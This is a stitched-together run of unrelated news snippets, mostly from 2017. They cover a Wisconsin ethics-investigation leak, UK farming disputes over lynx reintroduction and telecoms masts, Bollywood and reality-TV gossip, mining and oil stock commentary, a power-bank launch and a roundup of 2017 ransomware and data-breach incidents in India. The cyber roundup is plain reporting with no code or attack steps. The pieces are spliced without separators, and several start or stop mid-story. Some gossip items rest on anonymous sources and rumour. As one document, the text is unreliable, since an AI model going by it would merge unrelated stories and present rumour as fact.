The report listed 35 individuals, including Sen. Leah Vukmir, R-Brookfield, whose private emails had been obtained as part of the investigation. Vukmir has decried the ethics investigation itself as an egregious overreach of government, but hasnt responded to a request for comment on Schimel disclosing its existence.

State law prohibits prosecutors and investigators from releasing information from a closed ethics investigation that didnt result in charges. Those who violate the law can be subject to up to nine months in jail and a $10,000 fine.

Hue said if he faced charges related to the release of the ethics investigation details, I would have to plead guilty. Its unclear whether the law would apply to a judge.

Schimels report erroneously referred to the ethics investigation as John Doe III, even though it wasnt a John Doe investigation.

The John Doe I was an investigation into Walkers Milwaukee County office that netted six felony convictions, including two related to staff campaigning on taxpayer time during the 2010 election.

Evidence collected from that investigation led to the John Doe II, which examined coordination between Walkers campaign and a tax-exempt independent group during the 2011 and 2012 recall elections. The Wisconsin Supreme Court shut down that investigation in 2015, ruling the activity in question was protected by the First Amendment.

Documents from the investigation were leaked to the Guardian U.S. newspaper, resulting in Schimels leak investigation. His report was unable to determine who leaked the information and issued no charges, but it recommend nine people face contempt of court proceedings.

Schimel said last week he hopes the proceedings will lead to more information about who leaked documents to the Guardian. A former GAB lawyers hard drive, which Schimel concluded contains the leaked documents, is still missing.

Hue said the primary purpose of releasing Schimels report was to begin the contempt of court proceedings, which he said must be done in open court.

Hue said he was provided the report at about 4:30 p.m. on Dec. 5 and studied it for four or five hours before authorizing its release the next day.

Hue has since stepped down as the judge overseeing the John Doe II after the Milwaukee Journal Sentinel reported that he had previously tweeted about the case. The tweets were observations about various legal developments in the case, but Hue said he had previously told Supreme Court Chief Justice Pat Roggensack that he hadnt discussed the case in social media.

The director of state courts has appointed Brown County Circuit Court Judge Kendall M. Kelley as the fifth judge to oversee the case.
A farming delegation has visited Norway to hear of the devastating consequences that rewilding has on the industry.

UK farming unions have said it is "crystal clear" that any proposals to re-introduce predators such as lynx or wolves are of huge concern and danger to farmers.

On a recent study trip to Norway, a farming delegation heard that, in 2016, Norwegian authorities paid out compensation on nearly 20,000 sheep lost to predators.

Of the total amount of sheep killed in Norway, wolverine accounted for around 34 per cent of losses with the lynx, bear and wolf accounting for 21 per cent, 15 per cent and 9 per cent respectively.

Commenting after the Norway trip, NFU Scotland Vice President Martin Kennedy said the biggest challenge Norwegian sheep farmers face is predation by large carnivores.

Although sheep are housed for at least 6 months of the year, depending on which part of Norway you farm, when they graze up through the trees after lambing then they are extremely vulnerable, Mr Kennedy explained.

Predation has reduced over the past 10 years, but this isnt because of fewer predators, but more to do with the fact that a number of hill farmers have simply stopped keeping sheep.

Giving up farming

The Norwegian farming union believe that around 1,000 hill farmers have given up keeping sheep in the last decade as they simply cannot carry on at the levels of predation.

Mr Kennedy continued: It's all very well receiving the compensation but that doesn't allow for the psychological impact that this scale of losses has on farmers. Putting myself in their shoes, I can understand why they've given up.

We are in this business to produce good quality food and looking after our animals is a priority, so to see a healthy breeding animal being taken out by a predator early in her life would be horrendous.

Mr Kennedy said that Norwegian farmers told the delegation that to reintroduce predators into Britain would be an "absolute catastrophe".

Their experience has simply strengthened our resolve to ensure that any proposals to do the same in Scotland receive rigorous scrutiny, he added.

If they will have an unacceptable impact on farmers and crofters, the Union will act accordingly.

Kielder Forest

In the UK, proposals to reintroduce lynx in Kielder Forest on the border between England and Scotland have been met with fierce opposition by the farming industry.

However, Scotland's Rural Economy Secretary Fergus Ewing has criticised the plans and said he would never support such a move, much to the delight of the Scottish farming industry.

Fresh concerns were raised over plans to release the Eurasian lynx in the British countryside after seven sheep were thought to have been attacked by one in September.

The lynx, which escaped from Borth Zoo, Aberystwyth, killed seven sheep whist it was in the wild for several days.

The wild cat, named Lillith, also left several sheep traumatised after one single attack.

Fast track

Through its membership of the National Species Reintroduction Forum (NSRF) in Scotland, NFU Scotland has sought and received assurances from Natural England - the body currently assessing the application for a trial reintroduction of six lynx to Kielder - that the NSRF would be kept informed and be consulted on the proposals.

In early 2018, NFU Scotland will be making its views known directly to the Defra Secretary Michael Gove. He has decided that he, rather than Natural England, will make the final decision on the current trial reintroduction application.

But rumours have surfaced that Mr Gove may be prepared to fast-track a decision on lynx release.

The sheep sector have called on the Defra Secretary to appreciate the "substantial and widespread" concerns rural communities have around the proposed lynx release.
97 percent of Northern Irish farmers have received a full or balanced CAP payment so far in December.

The Department of Agriculture, Environment and Rural Affairs (DAERA) has announced the payments, totalling 95 million, were issued to 23,395 farm businesses.

Since the completion of advance payments in October 2017, the Department has sent out a total of 277 million in CAP payments so far in 2017, an increase of 27 million on 2016 payments.

This record number of payments has been made possible due to the significant increase in the number of farmers submitting their Single Application online, 99% in 2017.

The number of businesses subject to a land inspection and which received a December payment has increased from 959 in 2016 to 1,471 in 2017.

The Department has made a particular effort to issue payments to businesses affected by the flooding of 22/23 August 2017, with 98% of the affected businesses receiving payment in December.

'Big boost'

The Ulster Farmers Union (UFU) said that the issuing of balance and full CAP payments from 1st December is a "big boost" to those farmers facing cash flow issues this winter.

UFU deputy president Ivor Ferguson said: A considerable number of inspections cases have been cleared and many of those who did not receive an advance payment in October will now be paid in full. This will be a big relief to those farmers, especially after months of wet weather and increased winter feed bills and other costs looming.

Northern Ireland saw fierce flash flooding in August. A number have lost livestock or suffered damage to farmland or properties. For example, tens of thousands of chickens were killed in the floods.

The long stretch of wet weather has also blighted Northern Ireland's potato industry, leaving many fields virtually inaccessible.
The contracting sector has a vital role to play in helping secure the future of British farming, the National Association of Agricultural Contractors (NAAC) heard.

The event looked to unite the agricultural contracting sector together in order to defend and uphold their role in the coming years, and highlight the importance of their role in the wider farming industry.

The use of agricultural contractors in the UK has increased in recent years. NFU President Meurig Raymond, who spoke at the event, highlighted some of the reasons for this.

This included the increasing prices of farm equipment, farmers inability to access the required capital sums and loss of labour.

'Structural shift'

Opening the event, which took place on Thursday (14 December), Mr Raymond said there has been a "structural shift" in British agriculture in recent years with farmers moving away from doing everything themselves and contractors are becoming increasingly important to farming businesses.

Farm equipment is becoming more expensive and there is a question mark over access to labour, so more and more farmers are using contractors for both specialist operations and complete stubble to stubble operations, Mr Raymond explained.

With the help of the contracting sector British farmers and growers produce around 60% of the nations food requirements, but with a growing population and our forthcoming department from the EU we must improve our self-sufficiency even further.

'Right conditions'

The NFU President explained that although there are many farmers who still do everything themselves, it is "essential" that both the farmer and the contractor take the opportunities provided by Brexit.

He said both are needed to create the right conditions for a competitive, sustainable and profitable UK agricultural industry for all.

The agricultural contracting sector helps farmers contribute to the UKs food and drink industry which is worth 112bn to the economy, as well as caring for a thriving environment and delivering for our rural communities.
Farmers and landowners have been urged to refuse any template telecoms agreement for siting a mobile phone mast on land after the new Telecoms Code takes effect on 28 December 2017.

There are fears the terms of any such agreement could leave farmers and landowners at a significant disadvantage.

A new electronic communications code, introduced as part of the Digital Economy Act 2017, will become law on 28 December 2017.

The code is a statutory scheme of rights and obligations which enables operators to enter land against the landholders wishes in order to install, erect, maintain and use any form of electronic communications apparatus.

It allows operators to obtain rights over land and to remain on land against the landowners wishes.

'One-sided'

Robert Paul, one of the UKs leading experts on the telecoms market who works for Strutt & Parker, said mobile phone operators have been trying to agree a standard lease document with the input of a body of landowners representatives ahead of the new code coming into force.

They argue that this will simplify the process of getting agreements in place, which will help them as they try to speed up the rollout of mobile and broadband services, Mr Paul explained.

However, given the NFU, CLA and other industry bodies have recently withdrawn from the process, it is likely that any agreement will be one-sided in favour of the operators and not a true reflection of what rights the code actually gives to them.

In our view, the concept of a standard agreement for telecoms sites is flawed anyway. The industry does not operate on standard lease terms now  it never has done, and there is no reason why it should start happening now.

'Aggressive approach'

Mr Paul said he had already seen indications that operators intend to take a more aggressive approach to the acquisition and handling of sites once the new code takes effect.

He said it is vital that site providers are aware of their rights under the new arrangements.

He added: The operators interpret the code in a very different way to how we would. For example, the new code does aim to make it easier for operators to upgrade and share their equipment with other operators to help increase coverage.

But this does not mean that an operator has unfettered rights under the new code to add equipment installed on a site, much as operators would like people to believe that. The code does give them greater powers, but they have to jump through a number of hoops first.

Rents

There is also the issue of rents which Strutt & Parker do not see tumbling in the way the operators predict.

Strutt & Parkers most recent telecoms survey showed that the average greenfield rent for a mobile phone mast was 6,000 per year, but Cornerstone Telecommunications Infrastructure Limited (CTIL) are suggesting payments based on compensation only and paying just a few thousand pounds as a one-off payment for a long-term lease.

Mr Paul continued: Landowners, particularly those in remote rural areas, are as keen as anyone to see improved mobile and broadband connections, but they cannot be expected to sign up without question to agreements that could have a significant impact on their normal business operations.

It is important that site providers are aware that even though the new Telecoms Code does give the operators greater powers, landowners still have the right to negotiate around the terms of any agreement.

If approached by an operator asking to inspect a potential site, we would advise property owners to agree terms first before granting entry.

Those with existing telecoms equipment on their property should also carefully consider their position following the introduction of the new code.
Landowners have called for 'much needed' homes to be built in rural areas as local planning authorities are preventing applications, statistics show. .

Latest figures show that 49% of the applications for permitted development rights to convert redundant agricultural buildings into new homes were refused in the last quarter from July to September 2017, according to the Department for Communities and Local Government.

Permitted development rights allow certain types of building work to be undertaken without needing to apply for full planning permission, but new figures show that approvals have dipped by 10% compared to the same period in 2016.

The CLA, which represents landowners, farmers and rural businesses said local councils are still not convinced of the value that converting old farm buildings into residential homes has to help solve the rural housing crisis, despite revised government guidance to boost development.

CLA President Tim Breitmeyer said: These permitted development rights are a vital tool for delivering much needed homes across our countryside.

Of course wildly inappropriate projects should be refused, but with nearly half of these applications being rejected, farmers and landowners have little faith that these rights can deliver.

Rural communities are crying out for more housing of all types and tenures. Over the past 40 years, it has been extremely difficult to deliver new development in the countryside because national planning policy has been focussed on our towns and cities. These areas are being let down.

Without more homes, jobs and the potential for businesses to grow, rural communities are increasingly unsustainable. We want to see these permitted development rights delivered as far as possible across our villages to rebuild these communities and ensure local people have homes to live in.

Mr Breitmeyer called on Housing and Planning Minister Alok Sharma to set out clear guidance for planning authorities so that the delivery of new dwellings is increased in the best interests of people who live and work in rural areas.
Farmers are being urged to better understand nutrient content to help reduce bagged fertiliser, according to a leading industry expert.

The amount of livestock manure applied in the UK each year would fill all the lanes of the M1, plus the central reservation and hard shoulder from Leeds to London, to a depth of 10 metres.

Speaking at an AHDB Monitor Farm group, John Williams, ADAS principal soil scientist, said approximately 90 million tonnes of livestock manure is applied in the UK each year but questioned whether farmers were making the most of it.

Newark farmer John Miller is one of many who are now working to use less bagged fertiliser on his by taking advantage of organic manure available. He hosts the AHDB Newark Monitor Farm and the group met in December to sort the muck from the magic.

AHDB Monitor Farms bring together groups of farmers who want to improve their businesses by sharing performance information and best practice around a nationwide network of more than 30 host farms.

Monitor Farms are part of AHDBs wider Farm Excellence Platform, which works with the industry to improve performance through knowledge exchange and benchmarking.

He said: Weve always known that organic manure is a good resource. Its about applying it effectively and taking account of the nutrients in it so you can reduce the amount of inorganic fertiliser you put on.

John Williams gave steps to maximising nutrient use efficiency. He said farmers should better understand what the crop needs, using the AHDB Nutrient Management Guide, previously known as RB209. Sampling soil to find out whats in it and what its deficient in is also a must.

Farmers are also urged to measure the nutrient content of manures, section 2 of the Nutrient Management Guide gives a good start to this. Top up with bagged fertiliser, if necessary.

True representation

But sampling needs to be done carefully to get a true representation of whats in the manure.

For example, lagoons should be stirred to homogenise the slurry before spreading with samples taken periodically during store emptying to make sure the analysis provides a good measure of the slurry nutrient content.

Not all manures are the same and manures with a lot of readily-available nitrogen (N) should be handled carefully.

John Williams said: Digestate is like rocket fuel  handle it with care! Digestate nutrient content reflects the feedstock used in the anaerobic digestion process.

Food based digestate can contain around 7 kg of total N/m3 (approximately 6 kg/m3 readily available N) and 25m3/ha would supply 175kg N per hectare, so matching application rates to crop demand is vital.

Mr Williams said: Testing the digestate is the best way of knowing the nutrient content which is essential to make best use of the nutrients.

As a result of the meeting, John Miller is considering whether he can apply organic manure in the crop rather than before it, to make better use of the nutrients available.

He said: The cost of buying equipment to spread the manures in crop is fairly prohibitive for me, so Id probably be looking at getting a contractor to apply it. Perhaps the saving we make in reducing bagged fertiliser would pay for the contractor. And in the long term the increased soil organic matter will hopefully stand us in good stead.
Rani Mukerji

Rani Mukerji will soon debut on social media formats like Twitter, Instagram and Facebook.

Social Media

She was not a part of social media all these years an it looks like things are about to change.

Trailer Release

Rani Mukerji will next be seen in the film Hichki. The trailer of the movie will be attached to Salman Khan and Katrina Kaif starrer Tiger Zinda Hai.

The Comeback

It's been a long time since the audiences saw Rani Mukerji on the silver screen and we're all super excited that she's gonna be back.

Hichki Storyline

"Hichki is a film for all age-groups and as a story is relatable pan India. It is a happy and uplifting story of self-belief and celebrates human spirit and hope," revealed a source.

Take Notice

"The makers wanted Hindi moviegoers across India to sample the trailer, sit up and take notice of a film that has its heart in the right place. What could be better than attaching the Hichki trailer to Tiger Zinda Hai?'' summed up the source.
After various speculations for about a year, it was finally confirmed that Salman Khan's brother-in-law Aayush Sharma will be making his Bollywood debut under Salman Khan productions.

Few days ago, the 'Tiger Zinda Hai' actor had revealed the film's title as 'Loveratri' which will be helmed by debutante Abhiraj Minawala who worked as a chief assistant director under Ali Abbas Zafar.

We know hear that Ayush will be travelling to Gujarat for the recce of this film along with the film's director and writer Niren Bhatt since Loveratri has Navratri as a backdrop.

As the film is set in Gujarat and Aayush plays a Gujarati boy, it was important for him to understand milieu of Gujarat. He will be visiting real locations and meeting people.

Revealing how Aayush was zeroed as the male lead, Abhiraj had earlier told Mumbai Mirror, "Having interacted with Aayush on set, I thought he perfectly fit the part of a Gujarati boy who falls in love while dancing the garba during Navratri. I asked Salman sir if we could test him and he immediately agreed."

The film is slated to kick off in Baroda and Ahmedabad in February. Buzz is that Abhiraj plans to recreate the annual garba gatherings in Gujarat that bring together lakhs of revellers through nine nights of festivity.
Veteran actor Sridevi is elated with the response her latest release, Mom received at its premiere in Russia. Directed by Ravi Udyawar, the rape revenge drama will release in 30 theatres across the country, under the title 'Mama'.

Sridevi, along with producer husband Boney Kapoor and younger daughter Khushi were welcomed by the Indian Ambassador in Moscow, Pankaj Saran at the premiere of the film.



The film premiered at a theater packed with an audience of 400, including Russian delegates and cinema aficionados. "It was overwhelming to witness the audience's reaction to the film. It felt like I was watching it for the first time because there was so much energy in the room," Sridevi said in a statement.

Kapoor recounted the time his classic 'Mr India' released in Russia exactly 30 years ago and how India-Russia ties can go an extra mile with a film collaboration. "... The locals are celebrating our cinema. While the influx of Hindi films had slowed down in the last few years, we seem to be back with a bang. This is the time for an Indo- Russian collaboration," he added. PTI
Katrina Makes Me Work A Little Hard

"It is just that she makes me work a little hard," he smiled adding, "She is so hardworking, like one more, one more take and then I am like 'arey yaar even I am done with this shot now'."

I Don't Think Any Leading Actress Can Do...

"She has done a superb job in the film. I don't think any of our leading ladies could have done it. It is too physical and as it is, she is a very delicate girl but she worked really hard on the action.''

He Added...

''The way she fought, the way she kicked, gymnastics, everything, shooting guns and these guns are real guns, taking up shooting training and all that stuff wasn't easy."

Recently

Salman Khan told Vogue that Katrina is a better dancer than Priyanka and Deepika, "She (Katrina) knows her limitations and works hard to achieve what she can't do.''

She Is One Of The Best Dancers

''When she joined the industry, she couldn't dance. Today she is one of the best dancers we have. Priyanka Chopra, Deepika Padukone, girls who are considered dancers I think she beats them hollow."

I Take Advice From Katrina....

"I take advice from her but every time she has advised me on a movie or taken me to watch a movie, it has been a disaster."
Hina Talks About Khatron Ke Khiladi

Hina, Priyank and Vikas are seen discussing about Khatron Ke Khiladi in the living area. Hina says KKK is not about strength.

Hina Tells Khatron Is About Mind Game!

She adds, "Toh phir yeh sare mushdande kyon bahar hogaye - Rithvik, Karan sab kyon bahar hue." She tells that Khatron is about mind game! Priyank agrees to her, while Vikas looks on.

Hina Will Give Tips Who Wants To Do KKK

She even tells Vikas, "Iss ghar mein jo log Khatron me jayega, I would tell them to meet me first, as I am going to give them excellent tips, plus what all you need to learn before going the show."

Hina Says Vikas Cant Do Khatron

Hina says Vikas can't do Khatron as it is not his cup of tea. Vikas asks as to why she is saying so, while Priyank adds that Vikas won't do Khatron. Hina adds that she feels Vikas is not mentally strong and hence can't do KKK. She also reveals that Shilpa doesn't want to do Khatron!

Hina Talks About BF, Rocky

In another video, Hina reveals to Puneesh, Vikas and Priyank that Rocky has a production house and also takes care of business which is in Calcutta.

Hina & Rocky Were Together Offered Bigg Boss 11

She reveals that the makers had asked Rocky and Hina to take part in Bigg Boss as a couple, but he refused.

Rocky Wanted Hina To Create Her Own Identity

Hina feels that if Rocky had been on the show, he would have overpowered her as she is dependent on him and she listens to whatever he says. Rocky didn't want that to happen as he wanted her to make her own identity.

Rocky Might Do Bigg Boss Next Season!

When Vikas suggests that Rocky shouldn't do it now and should get settled first, Hina adds that Rocky will do the show may be next season, but not with her.
Was Shaheer Cheating On Erica?

A source close to the actors revealed Tellychakkar that the actors have broken up! According to the report, "The reason behind their break-up is that Erica doubted that Shaheer was cheating on her!"

Shaheer Meets Ex-GF Ayu Ting Ting!

Apparently, Shaheer is currently in Indonesia, shooting for a project. There, he met his ex-lover and Indonesian actress, Ayu Ting Ting. When the actress confronted of him about him dating his co-actress Erica, he denied it!

Shaheer & Ayus Closeness Makes Erica Insecure?

Shaheer told Ayu that he is single and Indian media had spread the rumours of his and Erica's relationship! Ayu and Shaheer chose to let bygones be bygones and bonded well. Apparently, this made Erica insecure.

Shaheer & Ayu

It has to be recalled that before Erica, Shaheer was in a relationship with Ayu Ting Ting, but broke up after four of months of dating. It was said that the duo parted ways because of language barriers!

Reason Behind Shaheer & Ayus Break-up

The media also alleged that Ayu broke up with Shaheer as she wanted someone who would also take care of her child but didn't find that quality in Shaheer!
(ASX:TON)

Hi Im Jessica Amir for the Finance News Network. Today Im joined by Triton Minerals LimitedManaging Director, Peter Canterbury. Hi Peter and welcome.Thank you very much.First up for those new to the company, can you just give us a quick introduction?Triton is an ASX listed company. It has three world-class projects in Mozambique, focusing on supply into the graphite market. Leading with its Ancuabe project, which it aims to have into production in the second half of 2019. And it is aimed to supply, both into the battery market and the highly potential expandable graphite, for the flame retardant building industry.Can you give us a little bit more detail about your key projects, starting with the Ancuabe project?Ancuabe is our flagship project. It is a 60,000 tonne per annum high purity, large flake size deposit, which we are looking to go into production in the half two, 2019. Were just finishing a definitive feasibility study and were now in discussion on offtake financing, with potential constructors. The advantage about Ancuabe is it is close to infrastructure, so it is only 45 kilometres from the coast. There is a container port; we have 110 kilovolt of power running through our facility. So we dont have to build any infrastructure.What it enables us, is to do a quick development and then supply into the high value graphite market. So focusing on expandable graphite, because of its high purity and large flake size will get command premium prices. And well start construction, early works construction in the first half of 2018, with then main construction starting the second half. And construction would be finished in the first half of 2019.Now can you tell us about Nicanda Hill and Nicanda West?Nicanda Hill was the worlds largest resource of graphite. It has 1.43 billion tonnes at 11 per cent graphite and it is located close to Syrah ResourcesBalama project. And were looking with potential joint venture parties to move that development along. Nicanda West is similar to Ancuabe; well look to developing that as a second project after Ancuabe. But it has similar properties in so far as its about 30 million tonnes at 6.6 per cent graphite, but it has majority large flake size and above, and high purity.Now to financials Peter. Whats your cash position and funding plan?Weve just completed a $6 million entitlements offer and that closed last week. And with that, will be enough to fund us through our early works stage. Were in discussions with EPC contractors and part of those EPC contracts are likely to bring debt facilities, equivalent to 85 per cent of the EPC contract value. Were also engaging with a number of other financial advisors to look at the remaining equity requirements. And that may be a mix of equity, or it may be a mix of equity and debt.A more general question now. Just tell us about the operating environment in Mozambique and why its so exciting?Mozambique is a former Portuguese colony; it has a number of developments that have been operating for a long time. You have South32 LimitedMozala aluminium smelter; you have Vale SA (BVMF:VALE3) have the Moatize coal facility in Tete. You have ENI (BIT:ENI), you have ExxonMobile (NYSE:XOM) and Anadarko Petroleum (NYSE:APC) looking to do gas projects just near where our projects are.So you have a Government that is very supportive of development, unlike some of the countries to the north like Tanzania, which has had some difficulties of recent times. So the Government is showing very good support, you have a good legal system there, good in-country expertise. So we have no problems attracting people to work for us, who are skilled and in the mining and resources industry.Just closing Peter. What can investors expect over the coming months?Its going to be a very busy time. We shortly will announce the results of the definitive feasibility study. Early next year, we look to convert our MOUs on offtake into binding agreements. Appoint PNC and EPC contractors to enable us to start early works in May 2018, with main construction starting in August 2018. Its going to be a very busy year.Peter Canterbury youve got a lot on your plate, thanks so much for the update.Thanks for your time.
After several tough years, the oil industry is starting to get back up on its feet. Producers worked hard to reposition their businesses and drive out costs as oil prices crashed, which put many in the position where they can now generate enough cash flow with oil in the upper $50s to grow production.

That said, not all oil companies are back on solid ground, which is a concern since it's possible that oil prices could stumble in 2018. Three that still have a long way to go are California Resources (CRC), Pengrowth Energy (NYSE: PGH), and Baytex Energy (BTEG.F -2.83%). That's why I'd hate to buy one of those oil stocks when there are better options available.

Nearly buried alive in debt

California Resources is one of the most deeply indebted oil companies in the country. While the California-focused producer has reduced borrowings by $1.6 billion since the second quarter of 2015, its leverage metrics remain near the bottom of the barrel since it still has $5.1 billion in debt outstanding. For example, at the end of the third quarter, it had a debt-to-capitalization ratio of 112% while most oil companies like to keep that number below 30%. Meanwhile, its debt-to-EBITDA ratio was an unsightly 7.3 times versus the less than 3.0 times most oil companies prefer, with many now targeting to get that number below 2.0 times.

California Resources' debt is stifling its ability to operate. The company isn't currently generating enough cash flow to maintain its production level, which is why output fell 7% over the past year and slipped another 1% in the last quarter. Furthermore, while it believes production could rise by a 5% compound annual rate through 2021, it needs oil to average $60 a barrel so it would generate the cash to fund that plan. While it's possible crude could hit that level, several rivals can grow at an even faster rate at $50 oil, which makes them much better investment options.

What just went down is about to come back up

Canadian oil and gas producer Pengrowth Energy sold nearly 1 billion Canadian dollars' ($780 million) worth of assets this year. That gave it the money to pay off its near-term debt maturities, which saved it from a liquidity crisis. So the company signed agreements with creditors to loosen the terms on its remaining borrowings, so it has the financial flexibility to invest in growth projects.

In fact, the company hopes to sanction phase two of its Lindbergh heavy oil facility, which could increase production from about 14,500 barrels per day up to 40,000 barrels. That said, there are two concerns with this plan. First, it would need to tack on more debt in the near term to finance that expansion, which is a step in the wrong direction. In addition, the investment to expand Lindberg would only earn a 20% return at $55 oil, which is well below what rivals can earn on some of their projects at that price point. That combination of a weakening balance sheet and a lower returning core asset makes Pengrowth an oil stock I'd rather not own since there are better ones available.

It's doing OK, but it's still well behind rivals

On the one hand, Canadian oil producer Baytex Energy seems to be back on solid ground. It has a much stronger asset base, with its wells earning returns between 60% to 90% at $55 oil. Because of that, the company recently announced that production should increase 6% by the end of next year versus where it will be at the end of 2017. It can also achieve that plan within cash flow as long as oil average $55 a barrel.

That said, Baytex Energy's growth rate is well below that of other oil companies since many can increase production at a double-digit rate next year at that oil price. One of the reasons Baytex can't grow as fast is that it still has more than CA$1.7 billion ($1.3 billion) of debt outstanding, which is a significant level given its size. For perspective, debt makes up 67% of its total enterprise value, while many oil companies have that number below 10%. Because of that, a much higher portion of Baytex's cash flow goes toward interest expenses, which gives it less money to grow production. If oil fell to $50 a barrel, Baytex would barely generate enough cash to maintain output while some rivals could still expand theirs by more than 10%.

Why consider OK when you could have great

While California Resources, Pengrowth Energy, and Baytex Energy have improved their financial situation over the past few years, they're still well behind rivals. Consequently, they would struggle if crude prices dipped back toward $50 a barrel. That's why I'd hate to buy one of those oil stocks when several oil companies can thrive at $50 a barrel, making them the better ones to consider buying.
What happened

Shares of famed Chilean lithium miner Sociedad Quimica y Minera de Chile (SQM -9.22%) -- famed as one of the few ways investors can play the rise of electric vehicles powered by lithium batteries -- notched a swift 13.5% gain in early Monday trading, before falling back to enjoy a more modest 8.1% rise as of 11:15 a.m. EST.

Believe it or not, this entire price movement appears to be tied to an election victory in Chile.

So what

This morning, The Wall Street Journal ballyhooed the election of Sebastian Pinera as president of Chile as an event local voters hope will "reinvigorate the country's flagging economy."

"With more than 99% of ballots counted, Mr. Pinera had 54.6% of votes to the 45.4% of his rival, center-left television journalist Alejandro Guillier," reports the Journal. Given that Pinera ran on a platform of reducing Chile's government debt while transforming it "into a developed country, a Chile without poverty, a Chile with opportunities for all," hopes are high for economic improvement.

Now what

Over the past four years, Chile's gross domestic product growth averaged an anemic 1.8%, down from 5.3% in the period from 2009 to 2013 -- when Pinera was last in office. If he can repeat his former feat, chances are good that companies like Sociedad Quimica y Minera de Chile will benefit.

Given the lack of any other news out of the company today, I'd say that today's surprise surge in the company's stock price can be attributed mainly to this one electoral event. Whether it justifies buying into Sociedad Quimica y Minera de Chile stock at a P/E ratio of nearly 38 times earnings, though, remains to be seen.
Yes, you can transfer your domain to any registrar or hosting company once you have purchased it. Since domain transfers are a manual process, it can take up to 5 days to transfer the domain.

Domains purchased with payment plans are not eligible to transfer until all payments have been made. Please remember that our 30-day money back guarantee is void once a domain has been transferred.

For transfer instructions to GoDaddy, please click here.
First-term Irmo Mayor Barry Walker announced Sept. 26 that he had tested positive for the coronavirus. The mayors wife, Susan, also got COVD-19, Walker said on social media. As you know Im a kidney patient and require weekly dialysis, Walker wrote. This virus compromises my immune syste Read moreWhat You Missed: Irmo Mayor Barry Walker gets COVID-19
14 injured as bus turns turtle in Siraha

As many as 14 persons were injured when a bus they were travelling in turned turtle in Karjanha Municipality-10 of Siraha district on Tuesday.
Mikheil Saakashvili decides to stop rallies and marches in Ukraine - GeorgianJournal
White House states Russia violated the sovereignty of Georgia and Ukraine - GeorgianJournal
Detel launches two Made in India high capacity portable power banks under Rs. 1,000 News oi -Samden Sherpa The 10000mAh Detel power bank D10000 and 12000mAh Detel power bank D12500 feature a RISC microprocessor that facilitates fast charging and enhanced battery life cycle.

Detel Mobiles and Accessories, the manufacturer of the World's most economical Feature Phone-Detel D1, has now announced the launch of two high capacity power banks at an affordable price. Dubbed as Detel D10000 and D12500, these power banks are manufactured and designed in India, and the company claims that they are extending their vision of 'connecting the unconnected'.

Commenting on the launch, Mr. Yogesh Bhatia, MD, S. G. Corporate Mobility (parent company of Detel), said, "We have over 400 Mn smartphone users in India. We understand the needs of the 21st -century man. When you're on the go, the last thing you would want to have is Low Battery on your smartphone or any other handheld device. The perfect blend of performance and style, these power banks are designed and priced to ensure that every user can possess leading-edge technology at competitive prices."

The 10000mAh Detel power bank D10000 and 12000mAh Detel power bank D12500 feature a RISC microprocessor that facilitates fast charging and enhanced battery life cycle. The company has claimed that the two devices work for at least 500 cycles.

The devices sport 4 LED indicators on each of the devices and these indicate the remaining power status of the device. Both the devices are equipped with lithium-ion batteries with much greater energy density. Apart from this, the two devices sport a sleek and compact exterior.

Further, they come with a single DC 5V/2A input port and three DC 5V/2A output ports. The two power banks come with pass-through technology which allows users to charge their phone and the power bank at the same time.

Compatible with all iOS and Android devices, the D10000 and D12500 power banks can charge all digital devices with DC 5V input such as Tablet PC, smartphones, iPads, iPhones, MP3/MP4 players, PSPs, and even cameras.

For device safety system, these highly efficient power banks are manufactured with multiple safety protection systems. The new range goes through five levels of stringent quality testing - with three levels of process inspection at each stage.

As for the pricing, Detel D10000 is priced at Rs. 699 and the Detel D12500 is priced at Rs. 899. The Power Banks can be purchased online from www.detel-india.com. The devices come with one-year manufacturer warranty.

Best Mobiles in India

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WannaCry

In one of the biggest cyber attacks in history, WannaCry Ransomware swept the world in May. However, in India, the top five cities impacted by the ransomware attack were Kolkata followed by Delhi, Bhubaneswar, Pune, and Mumbai, while the top five states with maximum detections of WannaCry virus were West Bengal, Maharashtra, Gujarat, Delhi NCR, and Odisha.

Almost 60 percent of the ransomware attack attempts by the malicious WannaCry virus was targeted at enterprises, while the rest were on individual customers. WannaCry infected computers running on older versions of Microsoft operating systems like XP. As for the impact of the attack, the ransomware locked user's devices and prevented them from accessing data and software until a certain ransom was paid to the criminals. In this case, cybercriminals demanded a fee of about $300 in crypto-currencies like Bitcoin for unlocking the device.

Talking about the affected areas, Police Department in Andhra Pradesh were disabled, West Bengal State Electricity Distribution Company Limited (WBSEDCL) were attacked, a government-run hospital in Odisha was targeted, in Gujrat over 120-odd computers connected with GSWAN (Gujarat State Wide Area Network) were affected, Maharashtra Police department was also partially hit.

Further computers in two panchayat offices in Wayanad and Pathanamthitta in Kerala too were disabled, and there were reported cases in states like Delhi and Tamil Nadu.

Petya

India was additionally on the top 10 listing of nations to be hit by Petya ransomware attacks, with the nation faring worst among other Asia Pacific (APAC) countries. Globally, India took number 7 spot with less than 20 organizations being affected as per Symantec's report.

When the attack took place, researchers pointed out that Petya was not really a ransomware like WannaCry but it was rather a wiper. What that means is that the aim of the malware was to delete all data, including data on the first sectors of the disk where the information about the operating system was usually stored. The idea of this attack was to cause massive destruction of data, not to make financial gains.

As such, the most reported incident of this attack in India was on the nation's largest container port, Jawaharlal Nehru Port (JNPT), near Mumbai along with local manufacturing units of global companies. At least one terminal operated by APM Maersk at the busy JNPT was under attack.

BSNL Malware Attack

The state-run telco's broadband network in Karnataka circle was greatly affected by a malware attack. The virus reportedly affected 60,000 modems with default "admin-admin" username/password combination. The malware infected modems could not be used to connect to the internet of the web. Following this, BSNL had issued an advisory notice to its broadband customers, urging them to change their default router username and passwords.

Data Breaches

Indian restaurant search and discovery service provider Zomato in May reported that the company's database was breached which led to personal details of 7.7 million users being stolen. While this was a serious issue, the leaked information was also reportedly listed for sale on a Darknet market. Following the incident, Zomato contacted the hacker and took down the data. Details about the deal have not been disclosed.

Similarly, Reliance Jio the trending network service provider was also a victim of a data breach. Interestingly a website called magicapk.com went live after the attack and anyone could search for personal details of Jio customers on this website. The website was later taken down after it went viral.

Mirai Botnet Malware

Though this malware was first discovered in 2016, the threat from this still continues as the creators behind the malware had published the source code for Mirai in hacker forums as open-source. Since the source code was published, the techniques have been adopted in other malware projects.

Talking about the botnet malware, Mirai actually took over the web targeting home router users and other loT based devices. In total, the malware affected 2.5 million loT units across the globe. However, it's not clear how many systems have been affected in India.
Mi Fan sale on Flipkart: Offers on Mi A1, Redmi Note 4, Mi Mix 2, Mi MAX 2, Redmi 5A and more Features oi -Harish Kumar The sale will start from tomorrow and will continue till December 21.

